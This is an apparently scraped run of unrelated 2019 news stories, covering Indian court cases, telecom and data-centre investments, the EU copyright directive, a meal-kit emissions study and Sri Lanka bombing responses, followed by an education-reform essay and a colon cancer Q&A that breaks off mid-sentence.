Williams was charged Monday in 3rd District Court with three counts of assault on a police officer and possession of a firearm by a restricted person, second-degree felonies; and 30 counts of illegal discharge of a firearm, a third-degree felony. Williams was convicted in October of theft by receiving stolen property. In another case, he was convicted of possession of a firearm by a restricted person and sentenced to six months in jail, according to court records. Leading telecommunications operator Orange has opened its first Orange Digital Centre for Africa and the Middle East. The Orange Digital Centre in Tunisia has been set up as a centre to provide wide-ranging support for start-ups. Orange explains that its new Orange Digital Centre in Tunisia houses four strategic programmes under the same roof. The first of these four programmes, the coding school, is a freely accessible and free-of-charge technological centre that offers training and events for young developers, geeks and people with ideas for projects. It is particularly aimed at students, young graduates and young entrepreneurs. Then theres the FabLab Solidaire, a digital production workshop for creating and prototyping with digital equipment such as 3D printers, milling machines and laser cutters. It brings together young people who are unemployed and have no qualifications as well as students, young graduates and young entrepreneurs. Orange Fab, meanwhile, is a start-up accelerator whose aim is to build national and international business partnerships with the Orange Group and the international Orange Fab network. This programme helps improve managerial capabilities and provides support for the commercial development of promising start-ups. It is mainly aimed at entrepreneurs. Finally, there is Orange Digital Ventures Africa, a 50-million investment fund for financing innovative start-ups in Africa and the Middle East (across such areas as fintech, e-health, energy, edutech and govtech). It too targets entrepreneurs. Twenty-seven partner universities make up the system in Tunisia, alongside five centres in the region. Their aim is to offer access to, and support for, the best uses of networks to the largest number of people possible. This is far from the only investment Orange plans to make in training and start-up support in the region. By the end of this year, Orange which operates in 19 African and Middle Eastern countries plans to set up similar centres in Senegal, Cote dIvoire, Jordan, Cameroon, Burkina Faso and Sierra Leone. From 2020 onwards, says Orange, Morocco, Egypt and the remaining countries in the Middle East and Africa region will have their own Orange Digital Centres. Flexenclosure, which designs and delivers prefabricated modular data centres for colocation, cloud and communications companies, has completed construction of a new eCentre data centre for Tigo Business in Nicaragua. This is one of six new data centres Flexenclosure is delivering for Millicoms Tigo operations. The new data centre is located in the Nicaraguan capital of Managua. It was built in Flexenclosures manufacturing plant in Sweden before being transported to site for final construction and commissioning. The eCentre has been custom-designed and reinforced to withstand seismic disturbance. The data centre will be Uptime Institute Tier III certified and is expandable when necessary. In addition to the new Nicaraguan facility, Flexenclosure has already delivered state-of-the-art eCentre data centres to Millicom/Tigo in Paraguay, Colombia and Bolivia, and has two more facilities in the works for Honduras and El Salvador. Through its new energy-efficient eCentre facilities, Tigo says it is providing increased data protection measures as well as a range of integrated services such as cloud servers, applications, storage, backup and recovery, colocation, virtual desks, cybersecurity, IoT, big data and analytics and cloud environments private, public and hybrid. These facilities are all part of Millicoms $68m investment in improving data infrastructure in the Latin American region. Millicom recently agreed to sell its operations in Chad to Morocco-based Maroc Telecom, as part of an ongoing strategy to exit Africa and focus on its Latin American operations. Subscriber content preview FEDERAL WAY The Evergreen Apartment Homes, at 35929 21st Place S. in Federal Way, sold for over $33.3 million, according to King County records. The seller was FPA5 Evergreen Vale, associated with FPA Multifamily of San Francisco, which acquired the property in 2017 for $20 million. . . . Naval officer dies fighting fire onboard INS Vikramaditya A naval officer died today after a fire broke out onboard INS Vikramaditya, India's only aircraft carrier, while entering the harbor in Karnataka's Karwar this morning, an official release from the defence ministry stated. While the fire was brought under control by the ships crew in a swift action preventing any serious damage affecting the ships combat capability, the officer who led the firefighting could not be rescued. Lt Cdr DS Chauhan bravely led the firefighting efforts in the affected compartment. Whilst the fire was brought under control, the officer suffered loss of consciousness owing to the smoke and fumes during the firefighting efforts. He was immediately evacuated to the Naval Hospital at Karwar, INHS Patanjali for medical attention. However, the officer could not be revived, a brief defence ministry release stated. A Board of Inquiry to investigate in to the circumstances of the incident has been ordered. A Board of Inquiry to investigate the fire incident onboard INS Vikramaditya has been ordered. Vikramaditya is 284 metres long and 60 metres high -- that's about as high as a 20-storeyed building and weighs 40,000 tonnes, making it the biggest and heaviest ship in the Indian Navy. The $2.3 billion aircraft carrier came to India from Russia in January 2014. INS Vikramaditya, which was commissioned into the Indian Navy in November 2013 at the Sevmash shipyard in north Russia's Severodvinsk, is based at its home port at Karwar in Karnataka. Apollo Hospitals gets SC to halt Jayalalithaa death probe after Madras HC refusal The Supreme Court has ordered a stay on all proceedings of the Arumughaswamy Commission, which is probing the circumstances that led to the death of Tamil Nadus former chief minister J Jayalalithaa. The apex court issued the stay order on a petition filed by Apollo Hospitals challenging the order of the Madras High Court dismissing the hospitals plea to stay the proceedings. The Supreme Court bench ordered a stay within minutes of starting the proceedings, despite the counsel for the Commission arguing that 90 per cent of the inquiry has been completed. Apollo Hospitals moved the Supreme Court after the Madras high court refused to stay the inquiry conducted by the Arumughaswamy Commission. The hospital wanted the commission to constitute a 21-member expert medical committee to look into the medical aspects of the treatment provided to the former chief minister J Jayalalithaa. Apollo Hospitals had argued that the commission did not have the expertise to make sense of the medical records, decisions and the nature of the treatment provided to Jayalalithaa. The Apollo Hospital move comes after doctors at Chennai's Apollo Hospitals, where the former AIADMK chief spent her final weeks, were summoned by the commission and also sought hospital records. The Commission had also engaged in a court battle with Apollo Hospitals accusing it of obstructing the probe. The Supreme Court bench headed by Chief Justice Ranjan Gogoi allowed the hospitals demand that the probe proceedings to be put on hold. The Tamil Nadu government had objected to the top court's stay, saying that 90 per cent of the investigation has been completed. Besides the Apollo doctors, chief minister O Panneerselvam had also not appeared before the Commission despite multiple summons issued to him by retired Justice Arumughaswamy. The Commission to inquire into the death of former Chief minister J Jayalalithaa was announced in August 2017, when Edappadi K Palaniswami was the chief minister. Jayalalathaa died in Apollo hospitals in December 2016, following a 75-day hospitalisation. The Commission, after multiple extensions, was to submit its report this June. UK court rejects Nirav Modi's bail plea, extends custody till 24 May The Westminster Court in the UK has declined to grant bail to fugitive diamantaire Nirav Modi, who was arrested in connection with the Rs13,500 crore Punjab National Bank fraud case, and instead extended his police custody for another4 month, ie, till 24 May. The 48-year-old Modi was arrested after the court issued a warrant against him in response to a request by the Enforcement Directorate for his extradition to India in connection with the Rs13,500-crore Punjab National Bank fraud case. Nirav Modi, who is in Wandsworth prison in south-west London ever since he was arrested last month, appeared before Westminster Magistrates Court Chief Magistrate Emma Arbuthnot via videolink from the prison. The brief hearing concluded with the judge further remanding Modi till 24 May. The judge has scheduled a case for a full hearing on 30 May. Chief Magistrate Arbuthnot had twice rejected bail applications moved by Modi, one on the day when he was produced in court after arrest and another on 29 March, on the grounds that there was a substantial risk he would fail to surrender. In fact, Modis defence team did not move a fresh bail plea in the Westminster Magistrates Court today, as the court extended his tenure in the Wandsworth jail until 24 May. The diamantaire, who is accused of defrauding PNB via fraudulent Letters of Undertaking (LoUs), is believed to have been living in the UK on an Investor Visa, applied for in 2015. The so-called golden visa for UK visa had made it easier for super-rich individuals to acquire residency rights in the UK on a minimum of 2-million pound investment. The Scotland Yard police arrested Nirav Modi on 19 March. After he was produced in the court the following day, it came to light that he had been in possession of multiple passports. These have since been revoked by the Indian authorities. Wanted in India to face charges of major financial irregularities linked to loans from a Mumbai branch of the Punjab National Bank, among others, Modi earlier sought citizenship of Vanuatu through an investment scheme, which was declined. Modi, who is wanted in India to face charges of major financial irregularities linked to loans from a Mumbai branch of the Punjab National Bank, among others, had earlier sought citizenship of Vanuatu through an investment scheme, which was declined. A candidate in the European and local elections claims there are "growing concerns" for the future of 30 jobs in a Donegal call centre based in Ballyshannon. Cyril Brennan, People Before Profit, says that 30 jobs at a BT call centre in the town are at risk because of a possible sale of BT Ireland. Mr Brennan said he wants action taken by the government to secure the jobs. Expanding on a statement he issued, Mr Brennan told the Donegal Democrat his fears are prompted by a report in a UK-based newspaper claiming that BT were selling their Ireland operation. The Daily Telegraph reported on Thursday that BT is planning to exit the Irish market through a 400m sale of its BT Ireland unit. BT Ireland told the Democrat their new contract for the Emergency Call Answering Service based in Donegal and Meath runs to 2025 and that they have been recruiting to expand the workforce in both their Ballyshannon and Navan centres. A BT spokesperson added: We are conducting a multi-million euro investment in the service, using the latest technology to continue to provide the highest quality performance levels possible. Responding to the Daily Telegraphs story which prompted Mr Brennans concerns, the spokesperson for BT Ireland added: With regards to speculation in The Telegraph UK about BT Group, BT Group doesnt comment on rumour or speculation. In a further response reported elsewhere, BT Ireland managing director Shay Walsh cast doubt on the Daily Telegraph yesterday, telling people not to "believe everything you read, especially when there is no source quoted". Frontline services in Donegal combating domestic, sexual and gender-based violence are to receive funding of 253,000 to support their services this year, Fine Gael election candidates have said. The funding is part of a 1.5 million in extra support for services nationally this year. Council candidate for the Milford Electoral Area, Eimer Friel, said: "The Government is committed to tackling sexual violence in Ireland and providing strong supports for victims. This extra funding across the country including for here in County Donegal is most welcome today. It will help support the work of counsellors particularly in rural communities here." Ms Friel said that it was vital that those suffering domestic, sexual and gender based violence receive the frontline services they need and that those who perpetrate such crimes are pursued to the fullest extent of the law. Evelyn Sweeney, the Fine Gael candidate in Glenties Electoral Area, said: The Government ratified the Istanbul Convention on preventing and combating violence against women and domestic violence on March 8 which is International Womens Day. The Convention creates a legal framework and approach to combat violence against women and is focused on preventing domestic violence, protecting victims and prosecuting accused offenders. I am pleased to see the Donegal Sexual Abuse & Rape Crisis Centre receive increased funding of 253,000 this year to continue its vital work. This is an increase on last year and an increase on the 168,000 funding in 2017. Eimer Friel paid particular tribute to Minister Katherine Zappone for her continued support for local and national services. Minister Zappone said: "As Minister I have seen at first hand the invaluable work of frontline agencies supporting women and children targeted by domestic, sexual and gender based violence. I have also listened to the voices of those forced out of their homes by threats, abuse and violence. "Their views have informed the decisions which have been taken in order to provide better information, supports and protections. With the increase in funding we will address shortfalls and gaps in services which have been identified. "We all have a role to play in ensuring the safety of those forced to flee an abusive partner, often with their children. The funding I am now confirming is being directly targeted at frontline services. An organization that originally began as a way to control downtown Dothans weeds and establish cotton and produce prices attracted a few national and state dignitaries Thursday. U.S. Sen. Doug Jones, U.S. Rep. Martha Roby, and Gov. Kay Ivey were among several officials to attend the Dothan Area Chamber of Commerces 100th anniversary celebration. Despite its meager beginnings on April 25, 1919, DACC has grown into a massive organization with more than 1,100 members, said Mary Beth Maddox, chairman of the DACC Board of Directors. Those who spoke acknowledged the chambers significant impact on the Wiregrass region in terms of economic development, workforce development, and the business climate. This is truly an exceptional organization that has made a tremendous impact on the region, Roby said as she presented the chamber with a Congressional recognition document. You are all focused on serving as a catalyst for businesses. We are fortunate to have this organization in the 2nd Congressional District. Everywhere you can see the fruits of your labor, Jones added, referencing sights he witnessed as he traveled through Dothan. A 29-year-old ex-boxer who previously sexually assaulted a nine-year-old boy has fled Belfast over fears he would be targeted by "vigilantes" and is now living in Dundalk. The Irish Sun reports that gardai are on high alert after learning that Ciaran James McAuley is now in Louth after he was released from custody in the North. McAuley is now being monitored closely by gardai as part of the conditions of his release. It has been reported that an alert has been sent to all Garda stations to warn officers that the man, who will be on the sex offenders register until 2025, is now living in Co Louth. Under his release conditions, McAuley has to notify gardai of his location. He had previously represented Northern Ireland at the Commonwealth Games in 2006. The Belfast man received a two-year sentence in 2015 after he was convicted of sexually assaulting a nine-year-old boy. McAuley attacked the young boy in a north Belfast alleyway in 2014 as the boy and a friend were walking home from a funfair. During the trial, Judge Gordon Kerry described the 29-year-old as "dangerous with a high risk of re-offending". McAuley has also received one year sentence after pleading guilty to sending a teenage boy images of his body parts. During the aforementioned trial, the court heard that McAuley had also asked the boy to send him a picture of his genitals. Brendan Smith TD said he will fight to make sure the EU builds into any Brexit agreement sufficient supports to allow border counties, like Co Louth, to have easy access to Northern Ireland and to Dublin for its citizens The Fianna Fail Midlands-North-West constituency candidate in the EU Parliament elections said that it was not acceptable to have counties, like Louth, locked in by borders to the North and Dublin traffic to the south. Funds must be found to improve access to and from the county. As your MEP I will not allow the borders return and I will seek European structural funds as part of any agreement to eliminate the daily four-hour trek hundreds of people from Co Louth make to and from their work in Dublin. This a strategic necessity. Proper access to the county means that Louth can attract new businesses and tourism and create sustainable jobs for its citizens, he said. Having lived all his life in a border county he has seen the damage and destruction of society that borders and commuting have caused in small towns and villages on both sides. I see young people with young families departing for work in Dublin at six in the morning and returning at seven in the evening. We need a better way of doing things. We need to have good access to this area North and South, so that we can attract more businesses to the county and create jobs here, he said. Brendan Smith said that as an MEP for the people in the region, he will be a voice in Europe to protect their livelihoods. I want to be that voice for the young people, the senior citizens, the farmers and businesses as well as the local families in this area. Local, national and international communities can only prosper in a culture of co-operation and EU members and the UK have a responsibility to maintain this culture. Young people on both sides of the border from Donegal to Dundalk, have not and should not experience the depth of division and disruption of community lives that we had to live with prior to the Good Friday Agreement, he said. Metro Manila (CNN Philippines, April 26) Philippine officials are closely monitoring developments in the case of three Filipinas killed in Cyprus, all of whom went missing between 2017 and 2018. In a statement Friday, the Department of Foreign Affairs (DFA) said a break in the investigation happened after a Cypriot national who is also a member of the National Guard confessed to the killings. The statement added the suspect met the Filipinas though a dating site. Philippine Embassy in Athens Charge dAffaires (CDA), a.i. Judy Barbara Robianes said the Embassy has reported the cases to Cypriot authorities and have continuously given updates to the respective families. A statement from the Department of Foreign Affairs Friday said, "Embassy representatives are now in Cyprus to meet with authorities on the case and provide further assistance to the investigation, including the provision of DNA samples to help in identifying the victims." The DFA welcomed the break in the recent investigation in light of the discovery of bodies in an abandoned mine in Mitsero earlier this month. The child's remains, however, have not been found. In the same statement, the DFA said authorities initially thought the Filipinas merely disappeared and were not victims of a violent crime. The agency said it is ready to provide assistance to the victims' families. Between Editions: April 25 TUCUMCARI The New Mexico Racing Commission today abruptly canceled a planned April 30 special meeting to discuss awarding a sixth horse-racing license, and by the afternoon a new racing commission was appointed by Gov. Michelle Lujan-Grisham. The commission sent out an email Thursday morning, stating the planned April 30 meeting had been canceled under further notice. Commission Executive Director Ismael Izzy Trejo declined comment when contacted by phone Thursday morning but said he likely would make a statement later today amid fast-moving developments. Those fast-moving developments became five new commission members, announced early Thursday afternoon by the governors office. The new commission members are: Beverly Bourguet, a racing commission member from 2011 to 2015. She races and breeds racehorses, and is a board member and founding member of the Downs at Albuquerque Chaplaincy. John Buffington, a former chief operating officer of the San Juan Regional Medical Center with more than 40 years as both an owner and breeder. Freda McSwane, a Lincoln County attorney and a racehorse owner and breeder. David Sanchez, a racing commission member from 2003 to 2009 and owner of San Bar Racing, LLC, a horse breeding and racing program. He owns an investments company and construction company, and has served on the State Fair Commission since 2009. Billy G. Smith, owner of Smith Enterprises, LLC, a construction firm. He has been involved in the racing industry since the 1970s as an owner and served on various boards for the American Quarter Horse Association. According to state statue, at least three members of the commission must be practical breeders of racehorses within New Mexico, and no more than three may be members of the same political party. Now-former Chairman Ray Willis told Clovis Media Inc. Thursday morning Gov. Lujan Grisham sent him an email late Wednesday, informing him hed been relieved of his duties with the agency. Willis also said its my understanding the entire commission has been relieved. Ive never been fired before, especially by email, Willis said. Evidently, the governor and her people have different ideas on how to proceed. Willis said the commissions now-aborted April 30 special meeting was meant to review all options on whether to issue a license and, if so, to which one of the five applicants. The commission had planned to issue a sixth license in early December, but an injunction request by the Lordsburg applicant, Hidalgo Downs LLC, in late November derailed those plans. Hidalgo said an independent feasibility study commissioned by the agency was flawed, and it alleged Willis had a conflict of interest with one of the Clovis applicants. The attorney generals office instructed the commission to not award a license until the legal dispute was resolved. The other four license applicants objected to announced settlement earlier this month between Hidalgo and the commission, saying they didnt have any input with the agreement. Judge Carl Butkus refused to approve the settlement until hearing out their complaints. Willis said he wasnt sure which applicant his fellow commissioners favored for the license. He said two of the applications were weak, two were strong and one was somewhere in the middle, but declined to specify which applicants fit which descriptions. A copyright directive that some fear could break the Internet cleared the final hurdle in the European Union on Monday. The Council of the European Union approved the directive, which makes platforms for user-uploaded content like Google and Facebook legally liable for violating the rights of copyright holders. It requires them to obtain the permission of the holders before posting content to their sites. If they dont have the rights to a piece of content, the directive requires the platform to make its best efforts to obtain an authorization, to ensure the unavailability of unauthorized content. They also must act expeditiously to remove any unauthorized content brought to their attention and prevent future uploads of that content. The directive requires that copyright holders be compensated for the display of excerpts of their works or even links to them on a website. With todays agreement, we are making copyright rules fit for the digital age, said European Commission President Jean-Claude Juncker. Europe will now have clear rules that guarantee fair remuneration for creators, strong rights for users and responsibility for platforms, he continued. When it comes to completing Europes digital single market, the copyright reform is the missing piece of the puzzle. Harms Online Innovation The directive undermines the legality of the tools and sites that Europeans use every day to share thoughts, ideas, culture, humor and science, according to the Computer & Communications Industry Association, a nonprofit tech advocacy group. The directive increases the incentives for platforms to over-filter and over-remove users uploads at the expense of legitimate uploads, it maintained. The snippet tax created by the directive risks restricting freedom of information online, the association warned. Despite recent improvements, the EU directive falls short of creating a balanced and modern framework for copyright, said CCIA Europe Senior Policy Manager Maud Sacquet. We fear it will harm online innovation and restrict online freedoms in Europe, she continued. We urge member states to thoroughly assess and try to minimize the consequences of the text when implementing it. A D V E R T I S E M E N T Member states have an opportunity to minimize the consequences when they fashion local legislation that will use the directive as a model. They have 24 months to do that from the time the directive is published in the Official Journal of the EU. Cut-and-Paste Policy Because it targets the major online platforms, the directive will have a negative impact on the digital economy, predicted Eline Chivot, a senior policy analyst in the Belgium offices of the Center for Data Innovation, a think tank studying the intersection of data, technology and public policy. The adoption of this reform reflects the unfortunate way in which policymakers tend to directly copy and paste offline world regulations to the online world, she told TechNewsWorld. Because online platforms will become liable for copyright infringement, theyre going to have to negotiate rights deals or seek consent before posting content to their sites. That will harm online platforms business models by forcing a licensing business model on open platforms, Chivot explained. Companies such as Facebook or Google are now able to provide free services to users because they host content that doesnt require a cumbersome web of licenses, she said. The directive sets a precedent, introducing more complexity for their user-generated content. Will they have to strike a licensing deal with everyone uploading a recipe? There will be not only an administrative burden on websites driven by user-content, but also a financial burden. It is important to note that the European digital economy already lags and its platforms will not be able to compete, given such rules will make it more difficult for them to grow, Chivot said. They may not be able to remunerate publishers to be able to host content; hence this will limit their reach to a broad audience of web users, she continued. This creates legal uncertainty that will hamper innovation. Free Expression Catastrophe Although the directive does not mention content filters, they hang over the measure like an unshakable regret. A D V E R T I S E M E N T The directive does not explicitly call for their use, but to be able to scan content before it is uploaded to see if it is copyrighted, the use of upload filters by platforms may be inevitable out of an abundance of caution, Chivot noted. Platforms will want to avoid the risk of not complying and the risk of facing penalties, she continued. As a result, this could restrict users access to content. One reason filtering content raises the hackles of free speech groups is that even the best filters are seriously flawed. Some algorithms used for these filters cannot make a distinction between perfectly legal reuse of content and actual infringements, Chivot noted. Moreover, the compliance burden may lead companies to redirect some of their resources that could have been spent on innovation, she pointed out. In addition, to comply with the directive, regimes will need to be created to settle ownership disputes. Those regimes could pose a nightmare scenario for legitimate rights holders who have had their rights challenged by an adversary. Even if the filters only make mistakes 1 percent of the time, on a half a trillon pieces of content a day, thats millions and millions of case adjudications that are going to have to be made by human beings, said Cory Doctorow, a special advisor to the San Francisco -based Electronic Frontier Foundation, an online rights advocacy group. The line to get your case reconsidered by the platform could stretch to months, he told TechNewsWorld. If youre talking about something newsworthy, then its going to show up long after anyone gives a damn, Doctorow said. Thats why this is catastrophic for free expression. Chilling Effect It remains to be seen how the individual nations in the EU will fashion their copyright laws based on the directive, but its likely that platforms will become more conservative in what they allow users to upload, observed Gus Rossi, global policy director at Public Knowledge, an advocacy group based in Washington, D.C. That has a high potential of harming free speech online, he told TechNewsWorld. The directive creates a chilling effect on Internet platforms, Rossi said. If youre an online platform, your incentives are to diminish your risks and limit what your users upload. Even if you want to comply with the law, it wont be easy. Youre going to have 27 or 28 different flavors of a directive thats very vague and very contentious, which means 27 or 28 countries are going to go through internal litigation to try to determine what the correct interpretation of the law is, said Rossi. This will eventually end up in front of the European Court of Justice, he predicted. So for the next three to five years, there will be legal uncertainty. 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But how does all that waste and energy use stack up against the environmental impact of buying the same meal at the grocery store? According to a new study from the University of Michigan, meal kits from companies like Blue Apron and Hello Fresh may actually have a lower carbon footprint than meals purchased at the grocery store. The researchers found that, after considering the full life cycle of both, grocery store meals accounted for one-third more greenhouse gas emissions on average than the meal kit versions. The study adds credence to informal observations in recent years that the reduced food waste from pre-portioned ingredients and a streamlined supply chain might balance out the impact of the plastic packaging. "Meal kits are designed for minimal food waste," senior author Shelie Miller, a professor at the University of Michigan's School for Environment and Sustainability, said in a press release. "So, while the packaging is typically worse for meal kits, it's not the packaging that matters most. It's food waste and transportation logistics that cause the most important differences in the environmental impacts of these two delivery mechanisms." Food waste is a big deal. According to the Natural Resources Defense Council, up to 40 percent of food produced in the U.S. ends up uneaten. Worldwide, food waste has a carbon footprint of 3.3 billion tons of CO2 equivalent enough to be the third highest greenhouse gas emitter after the U.S. and China, according to the Food and Agriculture Organization. Meal kits come out ahead in distribution emissions because they ship just enough to make each meal directly to the consumer, whereas grocery stores require purchasing ingredients in higher quantities than needed per meal, NPR reported. In addition, grocery stores tend to stock more food than they end up selling, whether due to less demand or removal of blemished items. Meal kit delivery services also save on last-mile transportation emissions, the study found, as the packages are delivered by a truck on a regular route. In total, personal transportation to and from the store accounted for 11 percent of grocery meal emissions whereas shipping accounted for just 4 percent of meal kit emissions. For the study, the researchers prepared five two-person meals from Blue Apron. Then, they made the same meals again using ingredients purchased at the grocery store. The team used data from previous studies to calculate greenhouse gas emission estimates for each phase of the meal's life cycle: farming, packaging production, distribution, supply chain losses, consumption and the landfill. (Source: Asia News)In 2013, a monk and four of his followers attacked a Pentecostal community in Sri Lanka and accused its pastor for forcing conversions and destroying the Buddhist culture. The incident was ignored by police despite complaints of Christians. The World Evangelical Alliance says it would like to give greater exposure to the moving testimony of Pastor Roshan Mahesen one of the targets of the Easter Sunday bombings in Sri Lanka and invite Christians to continue to pray for their brothers and sisters in Sri Lanka. The U.S.-based WEA issued a carefully worded statement headlined: "Leader of bombed Evangelical Church in Sri Lanka offers forgiveness to attackers." At the same time the Jim Winkler president and general secretary of the ecumenical U.S. National Council of Churches offer a commentary titled: "From Jim: The Myth of Redemptive Violence" showing that thinking Christians concur in their approach to the latest atrocity in the name of religion. The Guardian reported April 26 that Sri Lanka's president has said investigations into civil war-era human rights abuses weakened the country's security apparatus and left it vulnerable to last Sunday's suicide bomb attacks, as members of the government continued to try to diffuse blame for the attacks. Maithripala Sirisena told Sri Lankan media outlets on Friday morning that there were up to 140 supporters of Islamic State in the country and that about 70 had been arrested. "I will stamp out ISISs from Sri Lanka," he said. "Our police and security forces are capable of achieving this." Bishop Efraim Tendero, WEA Secretary General and CEO, expressed his solidarity with the Christians in Sri Lanka in a statement after the attacks. He said, "We are deeply saddened and troubled by the news of the targeted attacks on worshippers and other innocent people on Easter Sunday. "As we celebrate the resurrection of our Lord, Jesus Christ, we now also mourn the loss of lives due to this heartless violence. "We call on churches around the world to join us in prayer for those affected, and that God's strong and comforting presence may be with them in this tragedy," said Tendero. "May God help them to hold onto the faith of the resurrection and experience the peace that transcends all understanding." WEA RELEASE Then WEA released the Evangelical Alliance of the United Kingdom's (EAUK) press release in full: "The leader of the evangelical church bombed in Batticaloa, Sri Lanka on Easter Sunday has spoken out, offering forgiveness to the attackers, and thanks to all who have offered prayer and support. Pastor Roshan Mahesen also spoke of his commitment to continue the church's mission. "Speaking in London this week Pastor Roshan said: "We are hurt. We are angry also, but still, as the senior pastor of Zion Church Batticaloa, the whole congregation and every family affected, we say to the suicide bomber, and also to the group that sent the suicide bomber, that we love you and we forgive you, no matter what you have done to us, we love you, because we believe in the Lord Jesus Christ. "Jesus Christ on the Cross, he said father forgive them for they do not know what they are doing. We also, who follow the footsteps of Jesus Christ, we say, for the Lord forgive these people." "In a video shared by Sri Lankan Christian ministry 'The Life', Pastor Roshan went on to say: 'I want to take this opportunity to thank every church around the world, every believer, every person known to me and unknown to me who has contacted me, calling me, sending messages of condolences, and then words of encouragement. "'I want to thank you from the bottom of my heart, every word you speak brings such comfort and strength. We will stand and continue what the lord has purposed in our life and we are ready, and we will continue to fulfil the mission the Lord has given us.'" Pastor Chrishanthy Sathiyaraj, leader of a Sri Lankan church which brings together Tamil and Sinhalese Christians and founder of 'The Life' ministry, interviewed Pastor Roshan earlier this week while he was visiting the UK. Pastor Chrishanthy is part of the Evangelical Alliance UK's council and commented: "These atrocious attacks have shocked the world, the violence has impacted my friends and family and many in the Sri Lankan community in the UK know people who have died. "If only we can hear Pastor Roshan's words and respond with forgiveness instead of hate. Jesus Christ calls us to love even those who persecute us, and what is more powerful than to choose to love in circumstances such as these. "Let's forgive, stand together and build the kingdom of God. Don't give up." Steve Clifford, general director of the Evangelical Alliance UK, joined a prayer gathering earlier this week following the attacks as Sri Lankan leaders prayed together. Responding to the video Steve Clifford said: "I am mourning with my Sri Lankan brothers and sisters in Christ as they bury loved ones, as church communities are shaken by the violence inflicted on them and as others live in fear that the same might strike them. "Pastor Roshan offers love and forgiveness that can only come from knowing that we are forgiven by Jesus. I will continue to pray for him and all the believers in Sri Lanka, that they will know hope in Jesus that overcomes all fear." NCC'S WINKLER In his commentary the NCC's Winkler wrote, "It now appears that the slaughter in Sri Lanka of Christians worshiping on Easter Sunday was carried out in retaliation for an earlier slaughter in New Zealand of Muslims who were themselves in the midst of worship. "Extremists carried out both of these massacres, but we should not view these as isolated incidents. Attacks on houses of worship have become all too common." Winkler said the cycle of violence is also known as "the Myth of Redemptive Violence." He cited Dylann Roof, the murderer who killed those engaged in Bible study at Emanuel AME Church in Charleston, said he murdered black people because he believed they raped white women daily. "Timothy McVeigh asserted his bombing of the Alfred P. Murrah Federal Building in Oklahoma City was in retaliation for various attacks and raids carried out by federal agents over the years." Winkler said, "The drums of war and violence are beating once again. Frank Gaffney, president of 'Save the Persecuted Christians,' and a longtime purveyor of Islamophobia, is demanding the U.S. government use the tools at its disposal to punish those who attack Christians. "There are those who would love nothing more than a 'holy war' to cleanse the world of people they refuse to accept." The education reform movement as we have known it is over. Top-down federal and state reforms along with big-city reforms have stalled. The political winds for education change have shifted dramatically. Something has ended, and we must learn the lessons of what the movement got rightand wrong. The era of inspiration, edicts, and coercion from Washington to improve our public schools is in the past. The Every Student Succeeds Act is a paper tiger with no new funds or accountability for results. The U.S. Department of Education under Betsy DeVos has dismantled efforts to push states to improve school systems while tainting all education reform with a far-right agenda for vouchers as it defunds public education. Yet, a growing number of high school graduates are not prepared to work or to continue their education. We thought we could change it. We were right, and we were wrong." The era of the nontraditional no excuses urban superintendents is finished. Michelle Rhee, Joel Klein, and Tom Boasberg have all moved on. There are few comparable replacements. The vision of a radically transformed public education system with virtual schools, new charter models, and online personalization has crashed on the shores of reality. Certainly, there are examples where district leaders and school boards are trying new practices and pushing for improvementwhether in Indianapolis, where innovation schools continue to be seen as important and effective , or San Antonio, where the district is partnering with charter school management organizations to create new schools but the national wave has crested. We have a set of proof points of what is possible with a few improved school districts and hundreds of schools that effectively educate the most disadvantaged children. Denver, New Orleans, and the District of Columbia all saw improvements in standardized test scores over the past decade, for instance. However, education improvement remains unavailable for many communities that require it the most. This is the fundamental paradox we are left with at the end of this ed. reform era: How do we reconcile tangible progress with the massive systemic gaps that remain? We had more changes in federal and state education policy designed to improve achievement since the passage of the No Child Left Behind Act in 2001 than since the civil rights era. We had a broad bipartisan political coalition with Ted Kennedy and George W. Bush. Barack Obama and Arne Duncan poured unprecedented billions into pushing the system. We focused on 21st-century outcomes, not fuzzy 20th-century inputs. We thought we could change it. We were right, and we were wrong. There are three primary reasons that education reforms failed to live up to our expectations: too few teacher-led reforms, a lack of real community support from those most impacted, and a lack of focus on policy change for public schools across the board, not just the lowest of low-performing schools. Too many reform efforts were undertaken on behalf of communities, rather than led by communities. Reformers (myself included ) led an unneeded assault on the existing educator force, with ham-handed teacher evaluations and a focus on getting rid of poor performing teachers. In an attempt to modernize the profession, we ended up losing the hearts and minds of a generation of educators. It is hard to not notice the wave of teacher strikes aimed exclusively on securing more resources for existing systems. Lastly, while the rhetoric was appropriately focused on education being the civil rights issue of our time, many of the reforms at the state level applied to indiscriminately all schoolsregardless of whether these new accountability systems, tests, charters, or teacher evaluation systems made sense for all schools. Efforts to bring urban reforms to whole states without asking whether suburban or rural area schools even needed them backfired dramatically. Reformers often took a holier than thou approach in challenging all schools to change, which only alienated those that saw little need for change in their schools. Too many of the reforms were focused on scaling success too early rather than doubling down on quality and understanding what was working and why. Building effective, quality programs or schools was not considered sexy. Instead, it was all about scale, measured not in the dozens but the millions. Even if it did lead to the development of many new schools that have worked for many students, it was all too much, too fast. So whats next, how do we move forward? First, champions of education reform have to honestly assess why particular efforts failed to live up to our expectations before we move on to the next shiny education improvement initiative. We need to do this before we spend tens of millions on more scaling of existing reforms. We need to focus now on listening. Where did we make progress, where did the needle get stuck? Why have some states or cities failed to live up to the grand expectations? And why did achievement on standardized tests improve in Denver, New Orleans, and the District of Columbia in the past decade? We need to be able to answer these questions, and we need to be able to do that before we embark on the next chapter. But whatever we do, we need to work directly with those closest to the problemsteachers, principals, students, families, and community leadersto build a movement that is focused on preparing most or all of our students for the world that they live in, that promotes lasting change. It will not be simple and will take a commitment of many years and require leadership in the communities most affected. Lets get to work. I have stage IV colon cancer . My doctor has been judicious about describing my survival chances, but I know the situation is pretty grim. Im trying to hold onto hope. Can you go into remission with stage IV colon cancer ? Doctors Response In stage 4 colon cancer, the cancer has spread from the colon to other organs and tissues in the body. It often spreads to the liver, but it can also spread to the lungs, brain, peritoneum (the lining of the abdominal cavity), or lymph nodes. A cure where the cancer is totally eradicated and will never return is rare at stage 4. However, remission, where symptoms are reduced or gone for a time, is possible. Surgery is unlikely to cure the cancer at this stage but if there are only a few areas of metastases (spread) then they may be removed and it can help improve survival. Chemotherapy is usually given at this stage as well. Radiation may also be recommended. Staging is the process of determining how far a tumor has spread beyond its original location. Staging may not be related to the size of the tumor. Treatment decisions also depend upon the stage of a tumor. Staging for colorectal cancer is as follows: Stage 0 The cancer is found only in the innermost lining of the rectum or colon. The cancer is found only in the innermost lining of the rectum or colon. Stage I The cancer has not spread beyond the inner wall of the rectum or colon. The cancer has not spread beyond the inner wall of the rectum or colon. Stage II The cancer has spread into the muscle layer of the 